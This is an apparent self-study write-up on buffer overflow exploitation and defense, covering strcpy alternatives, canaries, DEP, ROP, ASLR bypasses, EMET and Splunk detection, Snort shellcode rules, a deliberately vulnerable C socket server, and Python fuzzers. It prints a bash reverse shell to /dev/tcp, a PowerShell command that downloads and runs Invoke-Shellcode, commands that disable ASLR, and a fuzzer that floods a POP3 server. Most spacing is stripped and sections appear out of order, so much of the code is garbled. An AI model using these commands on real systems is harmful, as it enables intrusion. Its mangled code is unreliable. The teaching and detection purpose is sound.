Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

printReceiveddatadata

ThevulnerableServercisthevulnerableCprogramThesourcecodewillexplainthewhatandthewhyofthecodeincaseyouwanttobuildyourownprogramLaterwecoverothervulnerableCfunctionsFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards

VulnerableServerwcommentsonSocketCprogramminginC

AvulnerablenetworkapplicationCtoshowthebasicsoverflowingabufferandwritingasimpleSocketProgram(-8Thankstotaishi8117forthesourcecodeandopensourcingthecodeIupdatedtheServertoruncontinuouslysoyoucanwriteaniterativefuzzeronitPreviouslytheserverterminatedprocessafterthefirstserverresponseThankstoRensellarCollegeandUPENNforleavingyourCCprogrammingmaterialforfreeonthepublicinternetincludeltstdiohgtincludeltstdlibhgtincludeltstringhgtincludeltsystypeshgtincludeltsyssockethgtincludeltnetinetinhgtincludeltunistdhgtincludeltsignalhgtdefinesamacronamedBUFFER_BOUNDARY_SIZEasanabbreviationforthetoken1024HEADER_SIZEisuniquetothisapplicationandisapre-fixedstringaddedtothemessageblockdefineBUFFER_BOUNDARY_SIZE1024defineHEADER_SIZE4Macrowillinsertbuffersizeof1024intocharbuffersettingourbuffersizeto1024bytesvoidvuln_read(intcli_fd)Theserverreadscharactersfromthesocketconnectionintothisbuffercharbuffer[BUFFER_BOUNDARY_SIZE]Assumingthatincomingclientheaderisinlittleendiantheserverwillthenreadthefirst4bytestogetaclientprovidedpre-fixstringstatinghowmanybytestotheclientisprovidingintto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)

if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)

vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0

BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers

ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers

TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing

FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen

FuzzerBuffergtApplicationBuffer

WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

